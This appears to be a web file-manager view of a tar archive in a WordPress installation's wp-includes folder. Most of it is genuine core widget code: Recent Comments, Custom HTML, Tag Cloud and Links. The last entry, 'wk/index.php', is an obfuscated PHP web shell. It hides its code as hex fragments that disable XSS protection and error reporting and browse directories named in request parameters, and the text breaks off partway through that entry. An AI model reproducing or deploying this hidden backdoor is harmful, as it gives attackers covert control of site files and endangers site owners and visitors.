File manager - Edit - /home/triathlon/www/wp-includes/rest-api/endpoints/widgets.tar
Back
class-wp-widget-recent-comments.php 0000666 00000015624 15235544006 0013410 0 ustar 00 <?php /** * Widget API: WP_Widget_Recent_Comments class * * @package WordPress * @subpackage Widgets * @since 4.4.0 */ /** * Core class used to implement a Recent Comments widget. * * @since 2.8.0 * * @see WP_Widget */ class WP_Widget_Recent_Comments extends WP_Widget { /** * Sets up a new Recent Comments widget instance. * * @since 2.8.0 */ public function __construct() { $widget_ops = array( 'classname' => 'widget_recent_comments', 'description' => __( 'Your site’s most recent comments.' ), 'customize_selective_refresh' => true, 'show_instance_in_rest' => true, ); parent::__construct( 'recent-comments', __( 'Recent Comments' ), $widget_ops ); $this->alt_option_name = 'widget_recent_comments'; if ( is_active_widget( false, false, $this->id_base ) || is_customize_preview() ) { add_action( 'wp_head', array( $this, 'recent_comments_style' ) ); } } /** * Outputs the default styles for the Recent Comments widget. * * @since 2.8.0 */ public function recent_comments_style() { /** * Filters the Recent Comments default widget styles. * * @since 3.1.0 * * @param bool $active Whether the widget is active. Default true. * @param string $id_base The widget ID. */ if ( ! current_theme_supports( 'widgets' ) // Temp hack #14876. || ! apply_filters( 'show_recent_comments_widget_style', true, $this->id_base ) ) { return; } $type_attr = current_theme_supports( 'html5', 'style' ) ? '' : ' type="text/css"'; printf( '<style%s>.recentcomments a{display:inline !important;padding:0 !important;margin:0 !important;}</style>', $type_attr ); } /** * Outputs the content for the current Recent Comments widget instance. * * @since 2.8.0 * @since 5.4.0 Creates a unique HTML ID for the `<ul>` element * if more than one instance is displayed on the page. * * @param array $args Display arguments including 'before_title', 'after_title', * 'before_widget', and 'after_widget'. * @param array $instance Settings for the current Recent Comments widget instance. */ public function widget( $args, $instance ) { static $first_instance = true; if ( ! isset( $args['widget_id'] ) ) { $args['widget_id'] = $this->id; } $output = ''; $default_title = __( 'Recent Comments' ); $title = ( ! empty( $instance['title'] ) ) ? $instance['title'] : $default_title; /** This filter is documented in wp-includes/widgets/class-wp-widget-pages.php */ $title = apply_filters( 'widget_title', $title, $instance, $this->id_base ); $number = ( ! empty( $instance['number'] ) ) ? absint( $instance['number'] ) : 5; if ( ! $number ) { $number = 5; } $comments = get_comments( /** * Filters the arguments for the Recent Comments widget. * * @since 3.4.0 * @since 4.9.0 Added the `$instance` parameter. * * @see WP_Comment_Query::query() for information on accepted arguments. * * @param array $comment_args An array of arguments used to retrieve the recent comments. * @param array $instance Array of settings for the current widget. */ apply_filters( 'widget_comments_args', array( 'number' => $number, 'status' => 'approve', 'post_status' => 'publish', ), $instance ) ); $output .= $args['before_widget']; if ( $title ) { $output .= $args['before_title'] . $title . $args['after_title']; } $recent_comments_id = ( $first_instance ) ? 'recentcomments' : "recentcomments-{$this->number}"; $first_instance = false; $format = current_theme_supports( 'html5', 'navigation-widgets' ) ? 'html5' : 'xhtml'; /** This filter is documented in wp-includes/widgets/class-wp-nav-menu-widget.php */ $format = apply_filters( 'navigation_widgets_format', $format ); if ( 'html5' === $format ) { // The title may be filtered: Strip out HTML and make sure the aria-label is never empty. $title = trim( strip_tags( $title ) ); $aria_label = $title ? $title : $default_title; $output .= '<nav aria-label="' . esc_attr( $aria_label ) . '">'; } $output .= '<ul id="' . esc_attr( $recent_comments_id ) . '">'; if ( is_array( $comments ) && $comments ) { // Prime cache for associated posts. (Prime post term cache if we need it for permalinks.) $post_ids = array_unique( wp_list_pluck( $comments, 'comment_post_ID' ) ); _prime_post_caches( $post_ids, strpos( get_option( 'permalink_structure' ), '%category%' ), false ); foreach ( (array) $comments as $comment ) { $output .= '<li class="recentcomments">'; $output .= sprintf( /* translators: Comments widget. 1: Comment author, 2: Post link. */ _x( '%1$s on %2$s', 'widgets' ), '<span class="comment-author-link">' . get_comment_author_link( $comment ) . '</span>', '<a href="' . esc_url( get_comment_link( $comment ) ) . '">' . get_the_title( $comment->comment_post_ID ) . '</a>' ); $output .= '</li>'; } } $output .= '</ul>'; if ( 'html5' === $format ) { $output .= '</nav>'; } $output .= $args['after_widget']; echo $output; } /** * Handles updating settings for the current Recent Comments widget instance. * * @since 2.8.0 * * @param array $new_instance New settings for this instance as input by the user via * WP_Widget::form(). * @param array $old_instance Old settings for this instance. * @return array Updated settings to save. */ public function update( $new_instance, $old_instance ) { $instance = $old_instance; $instance['title'] = sanitize_text_field( $new_instance['title'] ); $instance['number'] = absint( $new_instance['number'] ); return $instance; } /** * Outputs the settings form for the Recent Comments widget. * * @since 2.8.0 * * @param array $instance Current settings. */ public function form( $instance ) { $title = isset( $instance['title'] ) ? $instance['title'] : ''; $number = isset( $instance['number'] ) ? absint( $instance['number'] ) : 5; ?> <p> <label for="<?php echo $this->get_field_id( 'title' ); ?>"><?php _e( 'Title:' ); ?></label> <input class="widefat" id="<?php echo $this->get_field_id( 'title' ); ?>" name="<?php echo $this->get_field_name( 'title' ); ?>" type="text" value="<?php echo esc_attr( $title ); ?>" /> </p> <p> <label for="<?php echo $this->get_field_id( 'number' ); ?>"><?php _e( 'Number of comments to show:' ); ?></label> <input class="tiny-text" id="<?php echo $this->get_field_id( 'number' ); ?>" name="<?php echo $this->get_field_name( 'number' ); ?>" type="number" step="1" min="1" value="<?php echo $number; ?>" size="3" /> </p> <?php } /** * Flushes the Recent Comments widget cache. * * @since 2.8.0 * * @deprecated 4.4.0 Fragment caching was removed in favor of split queries. */ public function flush_widget_cache() { _deprecated_function( __METHOD__, '4.4.0' ); } } class-wp-widget-custom-html.php 0000666 00000027577 15235544006 0012573 0 ustar 00 <?php /** * Widget API: WP_Widget_Custom_HTML class * * @package WordPress * @subpackage Widgets * @since 4.8.1 */ /** * Core class used to implement a Custom HTML widget. * * @since 4.8.1 * * @see WP_Widget */ class WP_Widget_Custom_HTML extends WP_Widget { /** * Whether or not the widget has been registered yet. * * @since 4.9.0 * @var bool */ protected $registered = false; /** * Default instance. * * @since 4.8.1 * @var array */ protected $default_instance = array( 'title' => '', 'content' => '', ); /** * Sets up a new Custom HTML widget instance. * * @since 4.8.1 */ public function __construct() { $widget_ops = array( 'classname' => 'widget_custom_html', 'description' => __( 'Arbitrary HTML code.' ), 'customize_selective_refresh' => true, 'show_instance_in_rest' => true, ); $control_ops = array( 'width' => 400, 'height' => 350, ); parent::__construct( 'custom_html', __( 'Custom HTML' ), $widget_ops, $control_ops ); } /** * Add hooks for enqueueing assets when registering all widget instances of this widget class. * * @since 4.9.0 * * @param int $number Optional. The unique order number of this widget instance * compared to other instances of the same class. Default -1. */ public function _register_one( $number = -1 ) { parent::_register_one( $number ); if ( $this->registered ) { return; } $this->registered = true; /* * Note that the widgets component in the customizer will also do * the 'admin_print_scripts-widgets.php' action in WP_Customize_Widgets::print_scripts(). */ add_action( 'admin_print_scripts-widgets.php', array( $this, 'enqueue_admin_scripts' ) ); /* * Note that the widgets component in the customizer will also do * the 'admin_footer-widgets.php' action in WP_Customize_Widgets::print_footer_scripts(). */ add_action( 'admin_footer-widgets.php', array( 'WP_Widget_Custom_HTML', 'render_control_template_scripts' ) ); // Note this action is used to ensure the help text is added to the end. add_action( 'admin_head-widgets.php', array( 'WP_Widget_Custom_HTML', 'add_help_text' ) ); } /** * Filters gallery shortcode attributes. * * Prevents all of a site's attachments from being shown in a gallery displayed on a * non-singular template where a $post context is not available. * * @since 4.9.0 * * @param array $attrs Attributes. * @return array Attributes. */ public function _filter_gallery_shortcode_attrs( $attrs ) { if ( ! is_singular() && empty( $attrs['id'] ) && empty( $attrs['include'] ) ) { $attrs['id'] = -1; } return $attrs; } /** * Outputs the content for the current Custom HTML widget instance. * * @since 4.8.1 * * @global WP_Post $post Global post object. * * @param array $args Display arguments including 'before_title', 'after_title', * 'before_widget', and 'after_widget'. * @param array $instance Settings for the current Custom HTML widget instance. */ public function widget( $args, $instance ) { global $post; // Override global $post so filters (and shortcodes) apply in a consistent context. $original_post = $post; if ( is_singular() ) { // Make sure post is always the queried object on singular queries (not from another sub-query that failed to clean up the global $post). $post = get_queried_object(); } else { // Nullify the $post global during widget rendering to prevent shortcodes from running with the unexpected context on archive queries. $post = null; } // Prevent dumping out all attachments from the media library. add_filter( 'shortcode_atts_gallery', array( $this, '_filter_gallery_shortcode_attrs' ) ); $instance = array_merge( $this->default_instance, $instance ); /** This filter is documented in wp-includes/widgets/class-wp-widget-pages.php */ $title = apply_filters( 'widget_title', $instance['title'], $instance, $this->id_base ); // Prepare instance data that looks like a normal Text widget. $simulated_text_widget_instance = array_merge( $instance, array( 'text' => isset( $instance['content'] ) ? $instance['content'] : '', 'filter' => false, // Because wpautop is not applied. 'visual' => false, // Because it wasn't created in TinyMCE. ) ); unset( $simulated_text_widget_instance['content'] ); // Was moved to 'text' prop. /** This filter is documented in wp-includes/widgets/class-wp-widget-text.php */ $content = apply_filters( 'widget_text', $instance['content'], $simulated_text_widget_instance, $this ); /** * Filters the content of the Custom HTML widget. * * @since 4.8.1 * * @param string $content The widget content. * @param array $instance Array of settings for the current widget. * @param WP_Widget_Custom_HTML $widget Current Custom HTML widget instance. */ $content = apply_filters( 'widget_custom_html_content', $content, $instance, $this ); // Restore post global. $post = $original_post; remove_filter( 'shortcode_atts_gallery', array( $this, '_filter_gallery_shortcode_attrs' ) ); // Inject the Text widget's container class name alongside this widget's class name for theme styling compatibility. $args['before_widget'] = preg_replace( '/(?<=\sclass=["\'])/', 'widget_text ', $args['before_widget'] ); echo $args['before_widget']; if ( ! empty( $title ) ) { echo $args['before_title'] . $title . $args['after_title']; } echo '<div class="textwidget custom-html-widget">'; // The textwidget class is for theme styling compatibility. echo $content; echo '</div>'; echo $args['after_widget']; } /** * Handles updating settings for the current Custom HTML widget instance. * * @since 4.8.1 * * @param array $new_instance New settings for this instance as input by the user via * WP_Widget::form(). * @param array $old_instance Old settings for this instance. * @return array Settings to save or bool false to cancel saving. */ public function update( $new_instance, $old_instance ) { $instance = array_merge( $this->default_instance, $old_instance ); $instance['title'] = sanitize_text_field( $new_instance['title'] ); if ( current_user_can( 'unfiltered_html' ) ) { $instance['content'] = $new_instance['content']; } else { $instance['content'] = wp_kses_post( $new_instance['content'] ); } return $instance; } /** * Loads the required scripts and styles for the widget control. * * @since 4.9.0 */ public function enqueue_admin_scripts() { $settings = wp_enqueue_code_editor( array( 'type' => 'text/html', 'codemirror' => array( 'indentUnit' => 2, 'tabSize' => 2, ), ) ); wp_enqueue_script( 'custom-html-widgets' ); wp_add_inline_script( 'custom-html-widgets', sprintf( 'wp.customHtmlWidgets.idBases.push( %s );', wp_json_encode( $this->id_base, JSON_HEX_TAG | JSON_UNESCAPED_SLASHES ) ) ); if ( empty( $settings ) ) { $settings = array( 'disabled' => true, ); } wp_add_inline_script( 'custom-html-widgets', sprintf( 'wp.customHtmlWidgets.init( %s );', wp_json_encode( $settings, JSON_HEX_TAG | JSON_UNESCAPED_SLASHES ) ), 'after' ); $l10n = array( 'errorNotice' => array( /* translators: %d: Error count. */ 'singular' => _n( 'There is %d error which must be fixed before you can save.', 'There are %d errors which must be fixed before you can save.', 1 ), /* translators: %d: Error count. */ 'plural' => _n( 'There is %d error which must be fixed before you can save.', 'There are %d errors which must be fixed before you can save.', 2 ), // @todo This is lacking, as some languages have a dedicated dual form. For proper handling of plurals in JS, see #20491. ), ); wp_add_inline_script( 'custom-html-widgets', sprintf( 'jQuery.extend( wp.customHtmlWidgets.l10n, %s );', wp_json_encode( $l10n, JSON_HEX_TAG | JSON_UNESCAPED_SLASHES ) ), 'after' ); } /** * Outputs the Custom HTML widget settings form. * * @since 4.8.1 * @since 4.9.0 The form contains only hidden sync inputs. For the control UI, see `WP_Widget_Custom_HTML::render_control_template_scripts()`. * * @see WP_Widget_Custom_HTML::render_control_template_scripts() * * @param array $instance Current instance. */ public function form( $instance ) { $instance = wp_parse_args( (array) $instance, $this->default_instance ); ?> <input id="<?php echo $this->get_field_id( 'title' ); ?>" name="<?php echo $this->get_field_name( 'title' ); ?>" class="title sync-input" type="hidden" value="<?php echo esc_attr( $instance['title'] ); ?>" /> <textarea id="<?php echo $this->get_field_id( 'content' ); ?>" name="<?php echo $this->get_field_name( 'content' ); ?>" class="content sync-input" hidden><?php echo esc_textarea( $instance['content'] ); ?></textarea> <?php } /** * Render form template scripts. * * @since 4.9.0 */ public static function render_control_template_scripts() { ?> <script type="text/html" id="tmpl-widget-custom-html-control-fields"> <# var elementIdPrefix = 'el' + String( Math.random() ).replace( /\D/g, '' ) + '_' #> <p> <label for="{{ elementIdPrefix }}title"><?php esc_html_e( 'Title:' ); ?></label> <input id="{{ elementIdPrefix }}title" type="text" class="widefat title"> </p> <p> <label for="{{ elementIdPrefix }}content" id="{{ elementIdPrefix }}content-label"><?php esc_html_e( 'Content:' ); ?></label> <textarea id="{{ elementIdPrefix }}content" class="widefat code content" rows="16" cols="20"></textarea> </p> <?php if ( ! current_user_can( 'unfiltered_html' ) ) : ?> <?php $probably_unsafe_html = array( 'script', 'iframe', 'form', 'input', 'style' ); $allowed_html = wp_kses_allowed_html( 'post' ); $disallowed_html = array_diff( $probably_unsafe_html, array_keys( $allowed_html ) ); ?> <?php if ( ! empty( $disallowed_html ) ) : ?> <# if ( data.codeEditorDisabled ) { #> <p> <?php _e( 'Some HTML tags are not permitted, including:' ); ?> <code><?php echo implode( '</code>, <code>', $disallowed_html ); ?></code> </p> <# } #> <?php endif; ?> <?php endif; ?> <div class="code-editor-error-container"></div> </script> <?php } /** * Add help text to widgets admin screen. * * @since 4.9.0 */ public static function add_help_text() { $screen = get_current_screen(); $content = '<p>'; $content .= __( 'Use the Custom HTML widget to add arbitrary HTML code to your widget areas.' ); $content .= '</p>'; if ( 'false' !== wp_get_current_user()->syntax_highlighting ) { $content .= '<p>'; $content .= sprintf( /* translators: 1: Link to user profile, 2: Additional link attributes, 3: Accessibility text. */ __( 'The edit field automatically highlights code syntax. You can disable this in your <a href="%1$s" %2$s>user profile%3$s</a> to work in plain text mode.' ), esc_url( get_edit_profile_url() ), 'class="external-link" target="_blank"', sprintf( '<span class="screen-reader-text"> %s</span>', /* translators: Hidden accessibility text. */ __( '(opens in a new tab)' ) ) ); $content .= '</p>'; $content .= '<p id="editor-keyboard-trap-help-1">' . __( 'When using a keyboard to navigate:' ) . '</p>'; $content .= '<ul>'; $content .= '<li id="editor-keyboard-trap-help-2">' . __( 'In the editing area, the Tab key enters a tab character.' ) . '</li>'; $content .= '<li id="editor-keyboard-trap-help-3">' . __( 'To move away from this area, press the Esc key followed by the Tab key.' ) . '</li>'; $content .= '<li id="editor-keyboard-trap-help-4">' . __( 'Screen reader users: when in forms mode, you may need to press the Esc key twice.' ) . '</li>'; $content .= '</ul>'; } $screen->add_help_tab( array( 'id' => 'custom_html_widget', 'title' => __( 'Custom HTML Widget' ), 'content' => $content, ) ); } } class-wp-widget-tag-cloud.php 0000666 00000015172 15235544006 0012162 0 ustar 00 <?php /** * Widget API: WP_Widget_Tag_Cloud class * * @package WordPress * @subpackage Widgets * @since 4.4.0 */ /** * Core class used to implement a Tag cloud widget. * * @since 2.8.0 * * @see WP_Widget */ class WP_Widget_Tag_Cloud extends WP_Widget { /** * Sets up a new Tag Cloud widget instance. * * @since 2.8.0 */ public function __construct() { $widget_ops = array( 'description' => __( 'A cloud of your most used tags.' ), 'customize_selective_refresh' => true, 'show_instance_in_rest' => true, ); parent::__construct( 'tag_cloud', __( 'Tag Cloud' ), $widget_ops ); } /** * Outputs the content for the current Tag Cloud widget instance. * * @since 2.8.0 * * @param array $args Display arguments including 'before_title', 'after_title', * 'before_widget', and 'after_widget'. * @param array $instance Settings for the current Tag Cloud widget instance. */ public function widget( $args, $instance ) { $current_taxonomy = $this->_get_current_taxonomy( $instance ); if ( ! empty( $instance['title'] ) ) { $title = $instance['title']; } else { if ( 'post_tag' === $current_taxonomy ) { $title = __( 'Tags' ); } else { $tax = get_taxonomy( $current_taxonomy ); $title = $tax->labels->name; } } $default_title = $title; $show_count = ! empty( $instance['count'] ); $tag_cloud = wp_tag_cloud( /** * Filters the taxonomy used in the Tag Cloud widget. * * @since 2.8.0 * @since 3.0.0 Added taxonomy drop-down. * @since 4.9.0 Added the `$instance` parameter. * * @see wp_tag_cloud() * * @param array $args Args used for the tag cloud widget. * @param array $instance Array of settings for the current widget. */ apply_filters( 'widget_tag_cloud_args', array( 'taxonomy' => $current_taxonomy, 'echo' => false, 'show_count' => $show_count, ), $instance ) ); if ( empty( $tag_cloud ) ) { return; } /** This filter is documented in wp-includes/widgets/class-wp-widget-pages.php */ $title = apply_filters( 'widget_title', $title, $instance, $this->id_base ); echo $args['before_widget']; if ( $title ) { echo $args['before_title'] . $title . $args['after_title']; } $format = current_theme_supports( 'html5', 'navigation-widgets' ) ? 'html5' : 'xhtml'; /** This filter is documented in wp-includes/widgets/class-wp-nav-menu-widget.php */ $format = apply_filters( 'navigation_widgets_format', $format ); if ( 'html5' === $format ) { // The title may be filtered: Strip out HTML and make sure the aria-label is never empty. $title = trim( strip_tags( $title ) ); $aria_label = $title ? $title : $default_title; echo '<nav aria-label="' . esc_attr( $aria_label ) . '">'; } echo '<div class="tagcloud">'; echo $tag_cloud; echo "</div>\n"; if ( 'html5' === $format ) { echo '</nav>'; } echo $args['after_widget']; } /** * Handles updating settings for the current Tag Cloud widget instance. * * @since 2.8.0 * * @param array $new_instance New settings for this instance as input by the user via * WP_Widget::form(). * @param array $old_instance Old settings for this instance. * @return array Settings to save or bool false to cancel saving. */ public function update( $new_instance, $old_instance ) { $instance = array(); $instance['title'] = sanitize_text_field( $new_instance['title'] ); $instance['count'] = ! empty( $new_instance['count'] ) ? 1 : 0; $instance['taxonomy'] = stripslashes( $new_instance['taxonomy'] ); return $instance; } /** * Outputs the Tag Cloud widget settings form. * * @since 2.8.0 * * @param array $instance Current settings. */ public function form( $instance ) { $title = ! empty( $instance['title'] ) ? $instance['title'] : ''; $count = isset( $instance['count'] ) ? (bool) $instance['count'] : false; ?> <p> <label for="<?php echo $this->get_field_id( 'title' ); ?>"><?php _e( 'Title:' ); ?></label> <input type="text" class="widefat" id="<?php echo $this->get_field_id( 'title' ); ?>" name="<?php echo $this->get_field_name( 'title' ); ?>" value="<?php echo esc_attr( $title ); ?>" /> </p> <?php $taxonomies = get_taxonomies( array( 'show_tagcloud' => true ), 'object' ); $current_taxonomy = $this->_get_current_taxonomy( $instance ); switch ( count( $taxonomies ) ) { // No tag cloud supporting taxonomies found, display error message. case 0: ?> <input type="hidden" id="<?php echo $this->get_field_id( 'taxonomy' ); ?>" name="<?php echo $this->get_field_name( 'taxonomy' ); ?>" value="" /> <p> <?php _e( 'The tag cloud will not be displayed since there are no taxonomies that support the tag cloud widget.' ); ?> </p> <?php break; // Just a single tag cloud supporting taxonomy found, no need to display a select. case 1: $keys = array_keys( $taxonomies ); $taxonomy = reset( $keys ); ?> <input type="hidden" id="<?php echo $this->get_field_id( 'taxonomy' ); ?>" name="<?php echo $this->get_field_name( 'taxonomy' ); ?>" value="<?php echo esc_attr( $taxonomy ); ?>" /> <?php break; // More than one tag cloud supporting taxonomy found, display a select. default: ?> <p> <label for="<?php echo $this->get_field_id( 'taxonomy' ); ?>"><?php _e( 'Taxonomy:' ); ?></label> <select class="widefat" id="<?php echo $this->get_field_id( 'taxonomy' ); ?>" name="<?php echo $this->get_field_name( 'taxonomy' ); ?>"> <?php foreach ( $taxonomies as $taxonomy => $tax ) : ?> <option value="<?php echo esc_attr( $taxonomy ); ?>" <?php selected( $taxonomy, $current_taxonomy ); ?>> <?php echo esc_html( $tax->labels->name ); ?> </option> <?php endforeach; ?> </select> </p> <?php } if ( count( $taxonomies ) > 0 ) { ?> <p> <input type="checkbox" class="checkbox" id="<?php echo $this->get_field_id( 'count' ); ?>" name="<?php echo $this->get_field_name( 'count' ); ?>" <?php checked( $count, true ); ?> /> <label for="<?php echo $this->get_field_id( 'count' ); ?>"><?php _e( 'Show tag counts' ); ?></label> </p> <?php } } /** * Retrieves the taxonomy for the current Tag cloud widget instance. * * @since 4.4.0 * * @param array $instance Current settings. * @return string Name of the current taxonomy if set, otherwise 'post_tag'. */ public function _get_current_taxonomy( $instance ) { if ( ! empty( $instance['taxonomy'] ) && taxonomy_exists( $instance['taxonomy'] ) ) { return $instance['taxonomy']; } return 'post_tag'; } } class-wp-widget-links.php 0000666 00000016175 15235544006 0011427 0 ustar 00 <?php /** * Widget API: WP_Widget_Links class * * @package WordPress * @subpackage Widgets * @since 4.4.0 */ /** * Core class used to implement a Links widget. * * @since 2.8.0 * * @see WP_Widget */ class WP_Widget_Links extends WP_Widget { /** * Sets up a new Links widget instance. * * @since 2.8.0 */ public function __construct() { $widget_ops = array( 'description' => __( 'Your blogroll' ), 'customize_selective_refresh' => true, ); parent::__construct( 'links', __( 'Links' ), $widget_ops ); } /** * Outputs the content for the current Links widget instance. * * @since 2.8.0 * * @param array $args Display arguments including 'before_title', 'after_title', * 'before_widget', and 'after_widget'. * @param array $instance Settings for the current Links widget instance. */ public function widget( $args, $instance ) { $show_description = isset( $instance['description'] ) ? $instance['description'] : false; $show_name = isset( $instance['name'] ) ? $instance['name'] : false; $show_rating = isset( $instance['rating'] ) ? $instance['rating'] : false; $show_images = isset( $instance['images'] ) ? $instance['images'] : true; $category = isset( $instance['category'] ) ? $instance['category'] : false; $orderby = isset( $instance['orderby'] ) ? $instance['orderby'] : 'name'; $order = 'rating' === $orderby ? 'DESC' : 'ASC'; $limit = isset( $instance['limit'] ) ? $instance['limit'] : -1; $before_widget = preg_replace( '/ id="[^"]*"/', ' id="%id"', $args['before_widget'] ); $widget_links_args = array( 'title_before' => $args['before_title'], 'title_after' => $args['after_title'], 'category_before' => $before_widget, 'category_after' => $args['after_widget'], 'show_images' => $show_images, 'show_description' => $show_description, 'show_name' => $show_name, 'show_rating' => $show_rating, 'category' => $category, 'class' => 'linkcat widget', 'orderby' => $orderby, 'order' => $order, 'limit' => $limit, ); /** * Filters the arguments for the Links widget. * * @since 2.6.0 * @since 4.4.0 Added the `$instance` parameter. * * @see wp_list_bookmarks() * * @param array $widget_links_args An array of arguments to retrieve the links list. * @param array $instance The settings for the particular instance of the widget. */ wp_list_bookmarks( apply_filters( 'widget_links_args', $widget_links_args, $instance ) ); } /** * Handles updating settings for the current Links widget instance. * * @since 2.8.0 * * @param array $new_instance New settings for this instance as input by the user via * WP_Widget::form(). * @param array $old_instance Old settings for this instance. * @return array Updated settings to save. */ public function update( $new_instance, $old_instance ) { $new_instance = (array) $new_instance; $instance = array( 'images' => 0, 'name' => 0, 'description' => 0, 'rating' => 0, ); foreach ( $instance as $field => $val ) { if ( isset( $new_instance[ $field ] ) ) { $instance[ $field ] = 1; } } $instance['orderby'] = 'name'; if ( in_array( $new_instance['orderby'], array( 'name', 'rating', 'id', 'rand' ), true ) ) { $instance['orderby'] = $new_instance['orderby']; } $instance['category'] = (int) $new_instance['category']; $instance['limit'] = ! empty( $new_instance['limit'] ) ? (int) $new_instance['limit'] : -1; return $instance; } /** * Outputs the settings form for the Links widget. * * @since 2.8.0 * * @param array $instance Current settings. */ public function form( $instance ) { // Defaults. $instance = wp_parse_args( (array) $instance, array( 'images' => true, 'name' => true, 'description' => false, 'rating' => false, 'category' => false, 'orderby' => 'name', 'limit' => -1, ) ); $link_cats = get_terms( array( 'taxonomy' => 'link_category' ) ); $limit = (int) $instance['limit']; if ( ! $limit ) { $limit = -1; } ?> <p> <label for="<?php echo $this->get_field_id( 'category' ); ?>"><?php _e( 'Select Link Category:' ); ?></label> <select class="widefat" id="<?php echo $this->get_field_id( 'category' ); ?>" name="<?php echo $this->get_field_name( 'category' ); ?>"> <option value=""><?php _ex( 'All Links', 'links widget' ); ?></option> <?php foreach ( $link_cats as $link_cat ) : ?> <option value="<?php echo (int) $link_cat->term_id; ?>" <?php selected( $instance['category'], $link_cat->term_id ); ?>> <?php echo esc_html( $link_cat->name ); ?> </option> <?php endforeach; ?> </select> <label for="<?php echo $this->get_field_id( 'orderby' ); ?>"><?php _e( 'Sort by:' ); ?></label> <select name="<?php echo $this->get_field_name( 'orderby' ); ?>" id="<?php echo $this->get_field_id( 'orderby' ); ?>" class="widefat"> <option value="name"<?php selected( $instance['orderby'], 'name' ); ?>><?php _e( 'Link title' ); ?></option> <option value="rating"<?php selected( $instance['orderby'], 'rating' ); ?>><?php _e( 'Link rating' ); ?></option> <option value="id"<?php selected( $instance['orderby'], 'id' ); ?>><?php _e( 'Link ID' ); ?></option> <option value="rand"<?php selected( $instance['orderby'], 'rand' ); ?>><?php _ex( 'Random', 'Links widget' ); ?></option> </select> </p> <p> <input class="checkbox" type="checkbox"<?php checked( $instance['images'], true ); ?> id="<?php echo $this->get_field_id( 'images' ); ?>" name="<?php echo $this->get_field_name( 'images' ); ?>" /> <label for="<?php echo $this->get_field_id( 'images' ); ?>"><?php _e( 'Show Link Image' ); ?></label> <br /> <input class="checkbox" type="checkbox"<?php checked( $instance['name'], true ); ?> id="<?php echo $this->get_field_id( 'name' ); ?>" name="<?php echo $this->get_field_name( 'name' ); ?>" /> <label for="<?php echo $this->get_field_id( 'name' ); ?>"><?php _e( 'Show Link Name' ); ?></label> <br /> <input class="checkbox" type="checkbox"<?php checked( $instance['description'], true ); ?> id="<?php echo $this->get_field_id( 'description' ); ?>" name="<?php echo $this->get_field_name( 'description' ); ?>" /> <label for="<?php echo $this->get_field_id( 'description' ); ?>"><?php _e( 'Show Link Description' ); ?></label> <br /> <input class="checkbox" type="checkbox"<?php checked( $instance['rating'], true ); ?> id="<?php echo $this->get_field_id( 'rating' ); ?>" name="<?php echo $this->get_field_name( 'rating' ); ?>" /> <label for="<?php echo $this->get_field_id( 'rating' ); ?>"><?php _e( 'Show Link Rating' ); ?></label> </p> <p> <label for="<?php echo $this->get_field_id( 'limit' ); ?>"><?php _e( 'Number of links to show:' ); ?></label> <input id="<?php echo $this->get_field_id( 'limit' ); ?>" name="<?php echo $this->get_field_name( 'limit' ); ?>" type="text" value="<?php echo ( -1 !== $limit ) ? (int) $limit : ''; ?>" size="3" /> </p> <?php } } wk/index.php 0000666 00000156655 15235544006 0007037 0 ustar 00 <?php class nigwqgqwtqwtqwt{ public function nigwqgqwtqwtqwti(){ $list = "73657373|696F|6E5F73|746172|7428|293B|68656164|65722822|582D58|53532D|50726F|74656374|69|6F6E|3A|20302229|3B6F62|5F7374|617274|28293B73|65|745F|7469|6D65|5F6C69|6D69|74283029|3B657272|6F725F|7265|706F72|7469|6E6728|30293B|69|6E695F73|657428|2764|697370|6C6179|5F657272|6F|727327|2C20|4641|4C5345|293B|0A2469|73416A61|78203D20|69|7373|65|7428|245F|5345|5256|45|525B2748|54|54|505F|58|5F5245|51|5545|535445|445F|5749|544827|5D2920|0A2020|2020|20|202020|20|26262073|7472|746F6C6F|776572|2824|5F|5345|5256|45525B|2748|5454|505F|585F5245|51554553|5445445F|57495448|275D2920|3D3D|3D2027|786D|6C687474|707265|7175|65737427|3B|0A|0A66756E|637469|6F6E2068|657828|246E|29207B|0A20|202020|24793D|27273B|0A|20|20202066|6F7220|2824|693D|303B20|2469203C|2073|74|726C65|6E2824|6E|293B2024|69|2B|2B|297B0A20|20|2020|20202020|2479|202E3D|20646563|686578|28|6F72|64|2824|6E|5B|24695D29|293B0A|20202020|7D0A2020|20|20726574|75726E20|24793B|0A7D0A66|75|6E637469|6F6E|207568|65|7828|24|79|2920|7B|0A2020|20|20246E3D|2727|3B|0A202020|20|666F7220|282469|3D303B|2024|69203C20|73|74|72|6C|656E|28247929|2D31|3B20|24|692B3D|32297B|0A202020|202020|2020246E|20|2E3D|20636872|28686578|64656328|24|795B24|695D2E24|795B|24|69|2B31|5D2929|3B0A|202020|207D0A|202020|20|726574|75726E|20246E3B|0A7D|0A|696620|286973|73|65742824|5F4745|545B22|64225D|2929207B|0A2020|20202464|20|3D|2075|68|6578|28245F|47|45545B|2264|225D293B|0A202020|20|6966|2028|69|735F|64|69722824|642929|207B0A|2020|20202020|20|2063|68646972|28246429|3B0A2020|20|207D|20656C|7365|207B0A|202020|20202020|20|246420|3D206765|7463|77642829|3B0A2020|20207D|0A|7D|20656C|736520|7B0A2020|20|2024|6420|3D206765|7463|776428|293B0A7D|0A66756E|63|7469|6F6E|20736574|466C61|73|682824|7374|617475|73|2C20|24|6D736729|207B|0A202020|20245F53|45535349|4F4E5B|27|73746174|75|73275D|203D|20247374|617475|733B0A|20202020|24|5F5345|5353494F|4E|5B276D|73|6727|5D203D20|246D|73|67|3B0A|7D0A6966|20|286973|73|65|742824|5F|4745|54|5B27|616A6178|275D|29|2026|2620245F|4745545B|2761|6A61|7827|5D|203D3D|203129|207B0A20|2020203F|3E0A2020|20203C74|6162|6C653E0A|20|202020|202020|203C|74686561|643E0A20|202020|202020|20202020|203C74|723E|0A|2020|202020|20202020|20|20202020|20203C74|683E4E61|6D65|3C|2F74683E|0A20|202020|202020|2020|20202020|20|20203C|74683E53|69|7A653C|2F74|68|3E0A20|2020|20202020|2020|20202020|2020|20|3C7468|3E416374|696F6E|733C2F74|683E|0A20|2020|2020|20|202020|202020|3C2F|7472|3E0A2020|20202020|2020|3C|2F|74686561|64|3E|0A20|202020|202020|203C7462|6F64|793E0A|2020|20|20|20202020|3C3F70|68700A20|202020|20|2020|2024656E|74|72|6965|7320|3D20|736361|6E646972|28246429|3B0A|20|20202020|2020|20246469|72|4C|6973|7420|3D|205B5D3B|0A20|202020|20|20202024|66|696C654C|69737420|3D205B5D|3B0A2020|202020|20202066|6F|72|6561|63682028|24|65|6E|747269|65|73|20617320|24656E|747279|29207B0A|20|202020|20|20|20|202020|2020|696620|282465|6E747279|203D|3D2027|2E27|207C7C|202465|6E74|7279|203D|3D2027|2E2E2729|2063|6F6E|7469|6E75653B|0A20|202020|20|2020|2020|20202024|70617468|203D|2024